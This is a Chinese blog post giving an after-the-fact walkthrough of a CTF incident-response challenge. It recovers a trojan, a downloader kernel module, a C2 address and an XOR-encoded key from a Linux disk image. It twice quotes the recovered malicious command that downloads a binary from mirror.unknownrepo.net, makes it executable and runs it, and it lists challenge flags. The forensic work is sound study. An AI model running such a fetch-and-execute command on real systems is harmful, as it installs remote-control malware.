2025长城杯国赛半决赛 应急响应

news/2025/3/26 10:57:25/文章来源:https://www.cnblogs.com/Yolololo/p/18789478

2025 长城杯 国赛 半决赛

ISW

应急响应

image-20250319161615084

image-20250319172514500

赛场上做应急响应的时候完全是摸不到一点思路,恨不得是见一个ip就交上去试一下..

赛后复现时刻

1

找ip

RStudio加载镜像raw文件

image-20250319155111165

image-20250319155234783

image-20250319155252172

对镜像文件进行扫描

image-20250319160950574

image-20250319161204711

我们能看到 root 目录下没有文件,以及存在非 root 用户 ubuntu

补充一下:如果root目录下没有文件 有限在home目录下找其他用户

image-20250319161355586

image-20250319161511148

注意到有很多被删掉的文件,有个1.txt 很可疑 查看1.txt

image-20250319164055718

wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade

这串命令意味着, 曾从http://mirror.unknownrepo.net/f/l/a/g/system_upgrade 下载文件,并储存为 /tmp/.system_upgrade

在去看一下 .vimhostory 看到了 system_upgrade.service服务

image-20250319164725043

vimhistory命令:也就是查看保存在 viminfo 里的历史命令

image-20250319162407866

去查看对应服务文件,得到一下信息,说实话 这些都是干啥的我是真不知道

image-20250319165101974

搜了一下 发现是有关于内核取证的

总的来说,这个服务单元配置文件的作用是在系统进入多用户模式之后,加载 system-upgrade.ko 内核模块,其可能与系统升级的某些功能有关

image-20250319165854756

接着导出对应文件

image-20250319170114958

补充一个xshell导出文件的命令,当然这里用不上

sz 文件名称

文件导出 结果只需要R-Studio恢复文件即可

die查看一下是64位

image-20250320112754721

Tab键反编译

image-20250320124334591

image-20250320113117475

看到被混淆的函数名,选中 x键:查看谁调用了当前选中的函数、变量

image-20250320113207739

先查看第一个位置

image-20250320113329383

能看到又一个被混淆的函数名,追踪这个

image-20250320113546242

能看到有一个hide_ip对应着 192.168.57.203,再看端口,4948和1337,一般情况下是都试一下,但是在我看log文件时有注意到4948端口

故:192.168.57.203:4948,在MD5一下

2

找到木马文件

image-20250320114125723

image-20250320114141469

data存放着数据信息

image-20250320114236821

因此判断 木马文件为 systemd-agentd

R-Studio恢复一下

在将文件MD5一下 工具

image-20250320114616261

flag{BCCAD26B665CA175CD02ACA2903D8B1E}

3

找到 持久化文件也就是下载者,功能是下载并执行远控木马

此时我们能想到刚在看到的文件, /system-upgrade.ko文件是下载着者

image-20250320125518669

image-20250320125612864

flag{78EDBA7CBD107EB6E3D2F90F5ECA734E}

4

找到它的植入痕迹

wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade

.system_upgradeMD5

flag{9729aaace6c83b11b17b6bc3b340d00b}

5

分析题目 2 中找到的远控木马,获取木马通信加密密钥

去分析一下 systemd-agentd文件

image-20250320143309855

合理怀疑木马通信加密密钥就是 unk_4BEFFD,追踪

image-20250320144123672

异或

_BYTE *sub_405EC9()
{_BYTE *result; // rax_BYTE *v1; // rsi__int64 i; // rdxresult = (_BYTE *)sub_42C200(24LL);v1 = off_6EB168;for (i = 0LL; i != 23; ++i)result[i] = v1[i] ^ 0x69;off_6EB168 = result;return result;
}

image-20250320144454290

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/904815.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

picoctf 2025

picoctf 2025 web n0s4n1ty 1 内容 开发人员已将个人资料图片上传功能添加到网站。但是,该实现存在缺陷,这为您提供了一个机会。您的任务(如果您选择接受)是导航到提供的网页并找到文件上传区域。您的最终目标是找到位于/root目录中的隐藏标志 提示File upload was not san…

hgame2025

hgame2025 web Level 24 Pacmanbase64解码 misc Hakuya Want A Girl Friend txt导出zipzip文件被损坏用WinRAR打开 在工具选项下 找到修复压缩文件没发解压缩 显示不是zip文件格式,再看txt文件尾,看到是倒着的png去爆一下长宽高得到压缩包密码,解压缩 得到flag hagme{h4kyu4…

2025 长城杯 国赛 半决赛 ISW 应急响应

2025 长城杯 国赛 半决赛 ISW 应急响应赛场上做应急响应的时候完全是摸不到一点思路,恨不得是见一个ip就交上去试一下.. 赛后复现时刻 1 找ip RStudio加载镜像raw文件对镜像文件进行扫描我们能看到 root 目录下没有文件,以及存在非 root 用户 ubuntu 补充一下:如果root目录下…

Ubuntu中apt设置国内源(以阿里云为例)

摘自:https://zhuanlan.zhihu.com/p/7107285821 在 Ubuntu 系统中,将 APT 源设置为阿里云源可以提高软件包更新和下载速度。设置国内源 1. 备份现有的源列表: sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak 2. 编辑 sources.list 文件: 使用以下命令打开 sourc…

建筑行业PLM实施案例:5种资源分配矩阵在EPC项目中的创新应用

——PLM如何破解建筑行业资源困局 根据住建部数据,2025年中国建筑行业EPC(设计-采购-施工)项目平均资源浪费率达18%,关键路径延误超30%。而中南建筑设计院通过PLM(产品生命周期管理)系统,在钟祥文化振兴项目中实现资源利用率提升42%,工期缩短10%。本文结合5大资源分配矩…

.NET 生成PDF文件

1、网上检索N种解决方案 QuestPDF:简单方便实用,文档也相对来说全,但是开源协议,当企业规模大的100W美金需要收费,未来存在潜在版权问题。 itext7:感觉实用偏复杂,项目类库引用复杂,不够轻量,看中了 该开源库根据HTML生成PDF,gitlab 查看N套解决方案,经过测试用例编…

关于Transformer中Decoder模块是如何预测下一个字符的算法

关于Transformer模型的Encoder-Decoder模块网上介绍的文章非常多,写的非常详尽,可谓汗牛充栋,尤其关于注意力计算这块,不仅给出了公式而且还有具体的计算步骤。关于Transformer模型我觉得大部分文章语焉不详的有两块(可能是我的理解力比较差): 一是关于FNN层的,就是FNN…

C# - 获取枚举描述 - 使用增量源生成器

前言C# 获取枚举描述的方法有很多, 常用的有通过 DescriptionAttribute 反射获取, 进阶的可以加上缓存机制, 减少反射的开销。今天我们还提供一种更加高效的方法,通过增量源生成器生成获取枚举描述的代码。这是在编译层面实现的, 无需反射, 性能更高。本文的演示代码基于 VS202…

实现页面动效的几种方式

本文列举五种页面加载动效的方式 1.使用transition组件实现页面动效 2.创建观察器IntersectionObserver结合animation实现动态效果 3.创建观察器IntersectionObserver结合指令实现懒加载动态效果 4.使用css伪元素结合css3动画实现动态效果 5.监听滚动事件结合animation实现动态…

记录:Cadence virtuoso IC617 个性化配置

本文主要记录如何对Cadence virtuoso IC617个性化配置,如原理图设置、仿真波形窗口的背景、线条等,并且每次打开时能自动加载,无需每次手动设置。网上相关内容比较杂,并且会踩一些坑,因此这里做一个记录方便下次查看。 环境:VMware + CentOS 7 软件:Cadence virtuoso IC…

revit 二次开发之收集器、过滤器和选择器

一、收集器 主要是在文档中,收集出所需要的元素和对象,在revit的定义中,收集器是一个可以迭代的对象。1.1 FilteredElementCollector名称 功能FilteredElementCollector(Document)从文档种收集所需要的元素FilteredElementCollector(Document, ElementId) 从文档和试图种收集…